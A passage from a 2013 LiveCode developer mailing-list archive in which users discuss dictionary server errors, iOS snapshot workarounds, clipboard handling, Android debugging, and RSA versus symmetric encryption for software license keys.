gAvailableMarketReceiveTowerDataArray > ReceiveTowers > Market[10] > ID WHR769 > Towers > 1 > ID KY-000001 > Address 951 Dixie Highway > City Louisville > State KY > County > TowerLatitude 38.2425270 > TowerLongitude -85.7843640 > 2 > ID KY-000002 > Address 245 West Dixie Highway > City Elizabethtown > State KY > County > TowerLatitude 37.65959 > TowerLongitude -85.8621 > > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From calhorner at xtra.co.nz Tue May 14 19:18:11 2013 From: calhorner at xtra.co.nz (Cal Horner) Date: Wed, 15 May 2013 11:18:11 +1200 (New Zealand Standard Time) Subject: Message Box spurious messages Message-ID: <5192C633.000007.05216@CALS_BIG_PC> This Message Box message started appearing yesterday for no apparent reason: "Message execution error: Error description: Handler: can't find handler Hint: XXXXX The following server error was encountered:" Where XXXXX is the last item I typed into the message box. Then it's followed by approximately three printed pages of HTML! This happened with my copy of LC 5.5.4. In Win 7. Anyone know why this is happening? Or is just another problem that I have to work around? From endernafi at gmail.com Tue May 14 19:32:57 2013 From: endernafi at gmail.com (=?utf-8?Q?Ender_Nafi_Elek=C3=A7io=C4=9Flu?=) Date: Wed, 15 May 2013 02:32:57 +0300 Subject: Message Box spurious messages In-Reply-To: <5192C633.000007.05216@CALS_BIG_PC> References: <5192C633.000007.05216@CALS_BIG_PC> Message-ID: Same problem here. It's happening whenever I open the *dictionary*, started a couple of hours ago. LiveCode 5.5.4 - Mountain Lion ~ Ender Nafi ~? together, we're smarter ?~ From gspearson at gmail.com Tue May 14 19:27:33 2013 From: gspearson at gmail.com (Graham Pearson) Date: Tue, 14 May 2013 19:27:33 -0400 Subject: Message Box spurious messages In-Reply-To: <5192C633.000007.05216@CALS_BIG_PC> References: <5192C633.000007.05216@CALS_BIG_PC> Message-ID: <5192C865.3000105@gmail.com> I am getting the same type of thing each time I click on Launch Documentation to learn about a command while I am self teaching myself Livecode. It started for me when the RunRev went to Maintenance Mode at the beginning of this week. On 5/14/2013 7:18 PM, Cal Horner wrote: > > This Message Box message started appearing yesterday for no apparent reason: > "Message execution error: > Error description: Handler: can't find handler > Hint: XXXXX The following server error was encountered:" > Where XXXXX is the last item I typed into the message box. Then it's > followed by approximately three printed pages of HTML! > > This happened with my copy of LC 5.5.4. In Win 7. > > Anyone know why this is happening? Or is just another problem that I have to work around? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Tue May 14 19:31:03 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 14 May 2013 18:31:03 -0500 Subject: Trace.. Like Director In-Reply-To: References: Message-ID: <5192C937.9060109@hyperactivesw.com> On 5/14/13 10:20 AM, Magicgate Software - Skip Kimpel wrote: > For all you Director "convertees".... Does LC have a feature like "trace" > in Director where you can watch code execution as it happens? A trace command is in the debug menu in the MetaCard IDE but is missing in LiveCode. There may be a way to call it manually, or maybe it's scripted there. I'm thinking Mark Weider may know (he wrote Power Debug) but he's at the conference and may not see this. If I remember I'll ask him about it. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From irog at mac.com Tue May 14 19:38:21 2013 From: irog at mac.com (Roger Guay) Date: Tue, 14 May 2013 16:38:21 -0700 Subject: Message Box spurious messages In-Reply-To: <5192C865.3000105@gmail.com> References: <5192C633.000007.05216@CALS_BIG_PC> <5192C865.3000105@gmail.com> Message-ID: <2566454E-A77F-4E6F-8E0C-09A45D1D1DC8@mac.com> Same here, every time I open the dictionary! On May 14, 2013, at 4:27 PM, Graham Pearson wrote: > I am getting the same type of thing each time I click on Launch > Documentation to learn about a command while I am self teaching myself > Livecode. It started for me when the RunRev went to Maintenance Mode at > the beginning of this week. > > > > On 5/14/2013 7:18 PM, Cal Horner wrote: >> >> This Message Box message started appearing yesterday for no apparent reason: >> "Message execution error: >> Error description: Handler: can't find handler >> Hint: XXXXX The following server error was encountered:" >> Where XXXXX is the last item I typed into the message box. Then it's >> followed by approximately three printed pages of HTML! >> >> This happened with my copy of LC 5.5.4. In Win 7. >> >> Anyone know why this is happening? Or is just another problem that I have to work around? >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Tue May 14 19:38:15 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 14 May 2013 16:38:15 -0700 Subject: Message Box spurious messages In-Reply-To: <5192C633.000007.05216@CALS_BIG_PC> References: <5192C633.000007.05216@CALS_BIG_PC> Message-ID: Were you accessing the dictionary? I've been having that issue for the last few days. I think it's because of the serever reorg that's going on at RunRev. Pete lcSQL Software On Tue, May 14, 2013 at 4:18 PM, Cal Horner wrote: > > This Message Box message started appearing yesterday for no apparent > reason: > "Message execution error: > Error description: Handler: can't find handler > Hint: XXXXX The following server error was encountered:" > Where XXXXX is the last item I typed into the message box. Then it's > followed by approximately three printed pages of HTML! > > This happened with my copy of LC 5.5.4. In Win 7. > > Anyone know why this is happening? Or is just another problem that I have > to work around? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From irog at mac.com Tue May 14 19:42:20 2013 From: irog at mac.com (Roger Guay) Date: Tue, 14 May 2013 16:42:20 -0700 Subject: Import Snapshot in iOS In-Reply-To: <1368562407.97453.YahooMailNeo@web28804.mail.ir2.yahoo.com> References: <51926841.804@fourthworld.com> <1368562407.97453.YahooMailNeo@web28804.mail.ir2.yahoo.com> Message-ID: <2C9DA28F-9647-46F0-A46A-8106BC05DA26@mac.com> I am always amazed at the talent on this list! Indeed, I am getting a black image if I set a-R true. OTH, John Dixon's stack works! What's up with that? Roger On May 14, 2013, at 1:13 PM, Mark Wilcox wrote: > I looked up the iOS snapshot code. It looks to me as if it renders the contents of the window into a bitmap context. I've written my own screen snapshot and video recording code on iOS and this doesn't capture the contents of a view/window drawn directly with OpenGL - for that you need to read back the pixels from the hardware graphics accelerator directly. > > So if my understanding of "accelerated rendering" is correct, then this shouldn't work - if LiveCode didn't block you making the call in that mode, you should get back a black image. > > I'm hoping to find out how to trace my way down from a command to the code that implements it in a workshop on Thursday. Curious to look at this one some more when I understand the code better. > > Mark > > > ________________________________ > From: Roger Guay > To: How to use LiveCode > Sent: Tuesday, 14 May 2013, 19:59 > Subject: Re: Import Snapshot in iOS > > > Richard, > > I presume you were asking anyone on the list. I, for one, do not know! > > Roger > > > On May 14, 2013, at 9:37 AM, Richard Gaskin wrote: > >> Ender Nafi wrote: >>> Roger's right. >>> It's an odd thing but setting the a-R to true prohibits importing snapshots. >>> Commenting it out fixes the issue. >>> Not tested in LiveCode 6.0.1, though? >> >> That's not mentioned in the Dictionary. Is that a documentation bug, or does it only affect the older method of importing snapshots by rect while still allowing the new method of making snapshots from object references? >> >> -- >> Richard Gaskin >> Fourth World >> LiveCode training and consulting: http://www.fourthworld.com >> Webzine for LiveCode developers: http://www.LiveCodeJournal.com >> Follow me on Twitter: http://twitter.com/FourthWorldSys >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Tue May 14 19:51:01 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Tue, 14 May 2013 16:51:01 -0700 Subject: Import Snapshot in iOS In-Reply-To: <2C9DA28F-9647-46F0-A46A-8106BC05DA26@mac.com> References: <2C9DA28F-9647-46F0-A46A-8106BC05DA26@mac.com> Message-ID: <5192CDE5.4010007@fourthworld.com> I recently stumbled across this post by Ender Nafi which confirm my hunch that it's only the older "import from " option that fails, and the newer "import from " seems to work well: http://forums.runrev.com/viewtopic.php?f=49&t=15093#p75531 -- Richard Gaskin Fourth World Systems Software Design and Development for Desktop, Mobile, and Web ____________________________________________________________ Ambassador at FourthWorld.com http://www.FourthWorld.com From endernafi at gmail.com Tue May 14 20:13:59 2013 From: endernafi at gmail.com (=?utf-8?Q?Ender_Nafi_Elek=C3=A7io=C4=9Flu?=) Date: Wed, 15 May 2013 03:13:59 +0300 Subject: Import Snapshot in iOS In-Reply-To: <5192CDE5.4010007@fourthworld.com> References: <2C9DA28F-9647-46F0-A46A-8106BC05DA26@mac.com> <5192CDE5.4010007@fourthworld.com> Message-ID: <965794E062384057A88C9F9B6B5EBED5@gmail.com> Yepp :) *import from * works fine. The problem is *import from rect* notation. @Roger, for now the only solution seems this piece of code: _set the acceleratedRendering of this stack to false _import snapshot from rect tRect _set the acceleratedRendering of this stack to true My sample stack in the forum post works without a glitch with this update. So, the code in that stack does 3 things: * Prohibits the black snapshot {turning off the a-R temporarily} * Prohibits the transparent blank snapshot {excluding the iPhone status bar} * Places the final snapshot into the visible portion of the screen Best, ~ Ender Nafi ~? together, we're smarter ?~ From dochawk at gmail.com Tue May 14 20:43:02 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 14 May 2013 17:43:02 -0700 Subject: Rethinking rsa encryption of license keys In-Reply-To: <71100ACF-D6D6-45CC-99DD-F8F56FED9DBA@kagi.com> References: <49856417-F658-4A19-8E4C-48B768B8B6EB@kagi.com> <71100ACF-D6D6-45CC-99DD-F8F56FED9DBA@kagi.com> Message-ID: On Tue, May 14, 2013 at 3:22 PM, kee nethery wrote: > There is nothing insecure about a symmetrical key. The insecurity with a > symmetrical key is that both people have to know it and getting it from > person A to person B safe and secure is difficult. The public private key > pair handles the transport of the symmetrical key. > Is there any particular advantage or disadvantage of using symmetrical rather than the extra RSA pair, or is this simply the way things are usually done? Or is symmetrical less expensive computationally? And whyle I'm asking such things, is one of the ciphers on livecode's list symmetrical? If you use a heck-a-long key for the symmetrical stuff, it will be secure > (assuming the symmetrical algorithm is secure). > I've been assuming 4k bits for payloads of a few hundred bites. thanks again -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dunbarx at aol.com Tue May 14 22:13:45 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Tue, 14 May 2013 22:13:45 -0400 (EDT) Subject: ClipboardData In-Reply-To: References: <8D01EF4C69BE87B-9FC-1E65B@webmail-d276.sysops.aol.com> Message-ID: <8D01F28F695CDB8-233C-211E5@webmail-m279.sysops.aol.com> Hi. But that means the space char had to have been present in the original. Let's say your spaceless text was: "Onetwothree..." Can you find out what the 4th char in this string is? Is it a "t", or ASCII 32? Craig Newman -----Original Message----- From: Magicgate Software - Skip Kimpel To: How to use LiveCode Sent: Tue, May 14, 2013 6:09 pm Subject: Re: ClipboardData Phil, I tried your method and then took a look at _temp_ and the result was the same. Craig, If I paste my clipboard into Notepad or any other text based application, it translates over properly... just not in LC. I am using 5.5.4 SKIP On Tue, May 14, 2013 at 4:00 PM, wrote: > Yipes. > > > Can you dig in and see if there is any char at all where the space ought > to have been. In other words, is that "space" empty? > > > > Craig Newman > > > -----Original Message----- > From: Magicgate Software - Skip Kimpel > To: How to use LiveCode > Sent: Tue, May 14, 2013 3:05 pm > Subject: ClipboardData > > > I have used clipboarddata for many project in the past. Today I was trying > to process a clipboard selection that came from a Word 2003 document and it > did not preserve any of the spaces. I have used the format of "text", > "html", "rtf"..... actually tried all the available options. > > Suggestions? > > SKIP > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Tue May 14 22:15:28 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Tue, 14 May 2013 22:15:28 -0400 (EDT) Subject: Message Box spurious messages In-Reply-To: References: <5192C633.000007.05216@CALS_BIG_PC> Message-ID: <8D01F2933A38544-233C-2120D@webmail-m279.sysops.aol.com> Me too, and the length of the text of that message is hundreds and hundreds of lines long. Craig Newman -----Original Message----- From: Ender Nafi Elek?io? lu To: How to use LiveCode Sent: Tue, May 14, 2013 7:26 pm Subject: Re: Message Box spurious messages Same problem here. It's happening whenever I open the *dictionary*, started a couple of hours ago. LiveCode 5.5.4 - Mountain Lion ~ Ender Nafi ~? together, we're smarter ?~ _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From kee at kagi.com Tue May 14 23:28:31 2013 From: kee at kagi.com (kee nethery) Date: Tue, 14 May 2013 20:28:31 -0700 Subject: Rethinking rsa encryption of license keys In-Reply-To: References: <49856417-F658-4A19-8E4C-48B768B8B6EB@kagi.com> <71100ACF-D6D6-45CC-99DD-F8F56FED9DBA@kagi.com> Message-ID: <7AEAE112-2464-48CD-A2CF-645D823E2E35@kagi.com> On May 14, 2013, at 5:43 PM, Dr. Hawkins wrote: > On Tue, May 14, 2013 at 3:22 PM, kee nethery wrote: > >> There is nothing insecure about a symmetrical key. The insecurity with a >> symmetrical key is that both people have to know it and getting it from >> person A to person B safe and secure is difficult. The public private key >> pair handles the transport of the symmetrical key. >> > > Is there any particular advantage or disadvantage of using symmetrical > rather than the extra RSA pair, or is this simply the way things are > usually done? > > Or is symmetrical less expensive computationally? yes. It might not matter for your application. > And whyle I'm asking such things, is one of the ciphers on livecode's list > symmetrical? You can encrypt a bunch of bits for low computational costs using something like blowfish or AES. Public key is typically used to encrypt the symmetrical key. Recommend compressing the bits first and then encrypting them. > > If you use a heck-a-long key for the symmetrical stuff, it will be secure >> (assuming the symmetrical algorithm is secure). >> > > I've been assuming 4k bits for payloads of a few hundred bites. You might find that for 4k bits, pure public key is fast enough. I'd still compress before encrypting. Kee > > thanks again > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From irog at mac.com Wed May 15 01:03:29 2013 From: irog at mac.com (Roger Guay) Date: Tue, 14 May 2013 22:03:29 -0700 Subject: Import Snapshot in iOS In-Reply-To: <965794E062384057A88C9F9B6B5EBED5@gmail.com> References: <2C9DA28F-9647-46F0-A46A-8106BC05DA26@mac.com> <5192CDE5.4010007@fourthworld.com> <965794E062384057A88C9F9B6B5EBED5@gmail.com> Message-ID: <25CCAD29-A67F-4137-B9B1-E60E4CEEA720@mac.com> Very clever, Ender. Thanks! On May 14, 2013, at 5:13 PM, Ender Nafi Elek?io?lu wrote: > Yepp :) > *import from * works fine. > The problem is *import from rect* notation. > > @Roger, > for now the only solution seems this piece of code: > _set the acceleratedRendering of this stack to false > _import snapshot from rect tRect > _set the acceleratedRendering of this stack to true > > My sample stack in the forum post works without a glitch with this update. > So, the code in that stack does 3 things: > * Prohibits the black snapshot {turning off the a-R temporarily} > * Prohibits the transparent blank snapshot {excluding the iPhone status bar} > * Places the final snapshot into the visible portion of the screen > > > Best, > > ~ Ender Nafi > > ~? together, we're smarter ?~ > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From igor at semperuna.com Wed May 15 01:31:52 2013 From: igor at semperuna.com (Igor de Oliveira Couto) Date: Wed, 15 May 2013 15:31:52 +1000 Subject: Rethinking rsa encryption of license keys In-Reply-To: <7AEAE112-2464-48CD-A2CF-645D823E2E35@kagi.com> References: <49856417-F658-4A19-8E4C-48B768B8B6EB@kagi.com> <71100ACF-D6D6-45CC-99DD-F8F56FED9DBA@kagi.com> <7AEAE112-2464-48CD-A2CF-645D823E2E35@kagi.com> Message-ID: <4A639029-6412-4002-9AD6-5A4DD76771E7@semperuna.com> Dr. Hawkins, I apologise for coming in late to this discussion, but let me see if I can be of some assistance. SYMMETRICAL encryption has 1 main purpose, which is to 'hide' data in an encrypted format. ASYMMETRICAL encryption, on the other hand, has 2 purposes: hide data, and *sign* the data - which is really its main purpose. 'Signing' data serves 2 purposes: proving where the data came from, and that it has not been modified since it left the source. Now, *that* is useful. In asymmetrical encryption, the private key is used to *sign data*, and the public key is used to *verify the signature* - that is, that the data really came from that source, and that it has not been modified during transit. If a single bit is changed in the data, then the public key will not verify it. The private key can sign data that is encrypted, or data that is not. It does not matter, so 'signing' is a function totally separate from 'encryption'. The way this is used in registration systems is like this: 1) Company 'A' produces software, and the software has the company's PUBLIC KEY built into it. 2) The client downloads the software, tries it, and buys it. 3) Company 'A' produces a license file, which is *signed* with the company's PRIVATE KEY. 4) Client puts the license file in with the software, When the software starts, it checks that the license file exists, and uses the PUBLIC KEY to make sure that it was Company 'A' who issued it. The only problem with this kind of system, is that your client might then share their license file with all their friends, or put it on a torrent server. So, in order to try and avoid that, Company 'A' will usually put some personal client information in their license file - like client name, the MAC address of their computer, etc. Then, in step 4 above, when the software launches, it will: * use the PUBLIC Key to check that the data really came from Company 'A' (so if someone tries to change the username or the data in the license, it will not pass the check) * then check that the information on the file matches the user/computer information in the current system. Note that the license file does not have to be encrypted: it only has to be *signed*, and it is up to the developer to choose whether they want to make the license file human-readable or not. Asymmetrical encryption has a variety of applications that go beyond software registration - ie., it is how 'secure' communications work on the internet (SSL certificates use public/private key pairs to verify the source of the data, and that it hasn't been tainted during transmission). The famous GPG software uses private/public key pairs to sign (and optionally, encrypt) your email and computer files: you keep your private key, and distribute your public key to your friends and contacts. Implementing these systems does add another layer of complexity to your software, so it is always a good idea to establish quite precisely what your needs are, and what problem you think this encryption layer will solve. It may be that there is a simpler, alternative - like simple server authentication - that may be more recommendable. It all depends on your specific use-case. I hope this information helps. Kind regards, -- Igor Couto Sydney, Australia From m_p_wilcox at yahoo.co.uk Wed May 15 01:47:32 2013 From: m_p_wilcox at yahoo.co.uk (Mark Wilcox) Date: Wed, 15 May 2013 06:47:32 +0100 Subject: Import Snapshot in iOS Message-ID: Yes, the code I looked at definitely took a rect and not an object. I suspect the new method is not taking a snapshot of the screen at all but rendering the object into an image. Wouldn't using the new method and asking for the current card work for most scenarios? Presumably if you want a subset of the screen after that you can crop part of the image? Richard Gaskin wrote: >I recently stumbled across this post by Ender Nafi which confirm my >hunch that it's only the older "import from " option that fails, >and the newer "import from " seems to work well: >http://forums.runrev.com/viewtopic.php?f=49&t=15093#p75531 > >-- > Richard Gaskin > Fourth World Systems > Software Design and Development for Desktop, Mobile, and Web > ____________________________________________________________ > Ambassador at FourthWorld.com http://www.FourthWorld.com > > >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode From jacques.hausser at unil.ch Wed May 15 03:12:46 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Wed, 15 May 2013 09:12:46 +0200 Subject: Message Box spurious messages In-Reply-To: <8D01F2933A38544-233C-2120D@webmail-m279.sysops.aol.com> References: <5192C633.000007.05216@CALS_BIG_PC> <8D01F2933A38544-233C-2120D@webmail-m279.sysops.aol.com> Message-ID: Same here. It's obvious that the "necessary, exciting, and ultimately beneficial changes" announced by Heather were not fully tested before the release of the new website? Probably to many hares to chase with the beginning of conference. Also if you try the button "latest RunRev news" (the one with the wifi logo) in their pages, you get an avalanche of new tabs, and nothing else (at least with Firefox). I hope that somebody can leave RunRevLive13, just for for a while, and have a look? I wish an excellent and enjoyable meeting to everybody up there in Edinburgh, but please don't forget the rest of us, locked home? Jacques Le 15 mai 2013 ? 04:15, dunbarx at aol.com a ?crit : > Me too, and the length of the text of that message is hundreds and hundreds of lines long. > > > Craig Newman > > > > -----Original Message----- > From: Ender Nafi Elek?io? > lu > To: How to use LiveCode > Sent: Tue, May 14, 2013 7:26 pm > Subject: Re: Message Box spurious messages > > > Same problem here. > It's happening whenever I open the *dictionary*, started a couple of hours ago. > LiveCode 5.5.4 - Mountain Lion > > > ~ Ender Nafi > > ~? together, we're smarter ?~ > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From sc at sahores-conseil.com Wed May 15 03:23:24 2013 From: sc at sahores-conseil.com (Pierre Sahores) Date: Wed, 15 May 2013 09:23:24 +0200 Subject: Message Box spurious messages In-Reply-To: <5192C633.000007.05216@CALS_BIG_PC> References: <5192C633.000007.05216@CALS_BIG_PC> Message-ID: <8F6AFF8D-914E-474B-A504-CF965D1A0A05@sahores-conseil.com> Same here (LC 5.5.4, Mac OS X 10.7.5). Le 15 mai 2013 ? 01:18, Cal Horner a ?crit : > > This Message Box message started appearing yesterday for no apparent reason: > "Message execution error: > Error description: Handler: can't find handler > Hint: XXXXX The following server error was encountered:" > Where XXXXX is the last item I typed into the message box. Then it's > followed by approximately three printed pages of HTML! > > This happened with my copy of LC 5.5.4. In Win 7. > > Anyone know why this is happening? Or is just another problem that I have to work around? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From shawnlivecode at gmail.com Wed May 15 03:40:27 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Wed, 15 May 2013 02:40:27 -0500 Subject: Message Box spurious messages In-Reply-To: <8F6AFF8D-914E-474B-A504-CF965D1A0A05@sahores-conseil.com> References: <5192C633.000007.05216@CALS_BIG_PC> <8F6AFF8D-914E-474B-A504-CF965D1A0A05@sahores-conseil.com> Message-ID: Same here on 6.0.1 Build 1513 Commercial. On Wed, May 15, 2013 at 2:23 AM, Pierre Sahores wrote: > Same here (LC 5.5.4, Mac OS X 10.7.5). > > Le 15 mai 2013 ? 01:18, Cal Horner a ?crit : > > > > > This Message Box message started appearing yesterday for no apparent > reason: > > "Message execution error: > > Error description: Handler: can't find handler > > Hint: XXXXX The following server error was encountered:" > > Where XXXXX is the last item I typed into the message box. Then it's > > followed by approximately three printed pages of HTML! > > > > This happened with my copy of LC 5.5.4. In Win 7. > > > > Anyone know why this is happening? Or is just another problem that I > have to work around? > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- > Pierre Sahores > mobile : 06 03 95 77 70 > www.sahores-conseil.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From rene.micout at numericable.com Wed May 15 04:11:21 2013 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Wed, 15 May 2013 10:11:21 +0200 Subject: Message Box spurious messages In-Reply-To: References: <5192C633.000007.05216@CALS_BIG_PC> <8F6AFF8D-914E-474B-A504-CF965D1A0A05@sahores-conseil.com> Message-ID: <2681A209-9340-4E36-BCB4-D46E5225799B@numericable.com> The same thing for me 6.0.0 build 1511 Community Mac OS X 10.8.3 when I open dictionary Le 15 mai 2013 ? 09:40, Shawn Blc a ?crit : > Same here on 6.0.1 Build 1513 Commercial. From bvg at mac.com Wed May 15 04:37:50 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Wed, 15 May 2013 09:37:50 +0100 Subject: Import Snapshot in iOS In-Reply-To: References: Message-ID: Is there a bug report for this? On 15.05.2013, at 06:47, Mark Wilcox wrote: > Yes, the code I looked at definitely took a rect and not an object. I suspect the new method is not taking a snapshot of the screen at all but rendering the object into an image. Wouldn't using the new method and asking for the current card work for most scenarios? Presumably if you want a subset of the screen after that you can crop part of the image? > > > Richard Gaskin wrote: > >> I recently stumbled across this post by Ender Nafi which confirm my >> hunch that it's only the older "import from " option that fails, >> and the newer "import from " seems to work well: >> http://forums.runrev.com/viewtopic.php?f=49&t=15093#p75531 >> >> -- >> Richard Gaskin >> Fourth World Systems >> Software Design and Development for Desktop, Mobile, and Web >> ____________________________________________________________ >> Ambassador at FourthWorld.com http://www.FourthWorld.com >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From bvg at mac.com Wed May 15 04:43:51 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Wed, 15 May 2013 09:43:51 +0100 Subject: Message Box spurious messages In-Reply-To: <2681A209-9340-4E36-BCB4-D46E5225799B@numericable.com> References: <5192C633.000007.05216@CALS_BIG_PC> <8F6AFF8D-914E-474B-A504-CF965D1A0A05@sahores-conseil.com> <2681A209-9340-4E36-BCB4-D46E5225799B@numericable.com> Message-ID: <6F656050-DBE6-46D5-B838-8FF27575365F@mac.com> So opening the dictionary results in weird errors related to some network or online feature, but only when selecting certain entries, for example selecting # is no problem, but sele ting $_GET does. Most likely that's the comments which are stored on their site, and somehow don't work and/or where converted wrongly on the server side with the new website. I suggest to use BvG Docu for now, because it does not show or use the user comments. Anyone filed a bug report on this? i'll bcc this to support. error popping up in the message box: is extremely large, and full of html, it starts with: -- The following server error was encountered: --------------------------------------------------------- pUrl: http://developer.runrev.com/revonline.irev?request=H4sIAAAAAAAAA2NlYGBgYgUSmQWJRYm5qSWpRcVAHgMLE5AQS8ksSk0uyczPAwu5uAY7MwMZ%0D%0AQsn5pXklDA4qDGAAUimaB9QL4nCoxDv7%2B3t7uoJERUoqC8Ci7NmpleX5RSlgtdKJcCN5cjKL%0D%0AS5zzc3NT80qKGQBdjOdOjAAAAA%3D%3D pStatus: cached UrlData: ... On 15.05.2013, at 09:11, Ren? Micout wrote: > > The same thing for me 6.0.0 build 1511 Community > Mac OS X 10.8.3 > when I open dictionary > > Le 15 mai 2013 ? 09:40, Shawn Blc a ?crit : > >> Same here on 6.0.1 Build 1513 Commercial. -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From rene.micout at numericable.com Wed May 15 05:07:25 2013 From: rene.micout at numericable.com (=?windows-1252?Q?Ren=E9_Micout?=) Date: Wed, 15 May 2013 11:07:25 +0200 Subject: [OT] HyperMidi Message-ID: Hello, Thierry Douez (SunnYmidi's author) have some internet problems and asked me to ask this question on the forum : Is there anyone (HyperCard's fellows?) that has the documentation of HyperMidi http://www.earlevel.com/HyperMIDI/ Thank you Bon souvenir de Paris Ren? From jacque at hyperactivesw.com Wed May 15 06:52:50 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 15 May 2013 05:52:50 -0500 Subject: [AN] iOS to Android issues... In-Reply-To: <4B92750A-AB39-487A-9C55-C9EF8C5B0761@paulmaguire.me> References: <4B92750A-AB39-487A-9C55-C9EF8C5B0761@paulmaguire.me> Message-ID: <51936902.4050403@hyperactivesw.com> On 5/13/13 3:48 PM, Paul Maguire wrote: > > 1) The graphics are missing. All my graphics are linked to from an > included folder I have next to the main app. I have included them in > the Standalone Application Settings (I also have a couple of fonts). > All this works nicely when creating the bundle for iOS. But they just > don't appear in Android - ulp. I take it I'm missing something here - > do I need to import (embed) all the assets? That would be very > annoying if so because I want to keep the codebase unified. I have > done basic Android tests before and I embedded the media and it was > fine. Is there any way to not to have to embed my media in Android? You shouldn't have to embed the images. If they aren't showing the problem is almost always in the file path reference. How are you referencing the images on disk? > > 2) I use 'put's to the console in OSX for help in debugging in iOS. I > can't see any appearing when I run the Android emulator. Is there an > Android SDK console window somewhere where I can see my puts? For Android, use Terminal and (optionally) run the logcat command. Here is an excerpt from my notes from the last RevLive conference: Debugging on Android: Use "put" without a destination to send output to stndout. View the results in Console (iOS) or terminal (Android.) Android debugging in terminal (for either emulator instance or attached device): Android debug command: /platform-tools/adb logcat > Where is the folder in which you installed the Android SDK. The is just a path to where you want a log file to be written, e.g. on the desktop. If you don't provide a file path, the output will just display in the Terminal window. Alternately you can add the adb folder to $PATH: export 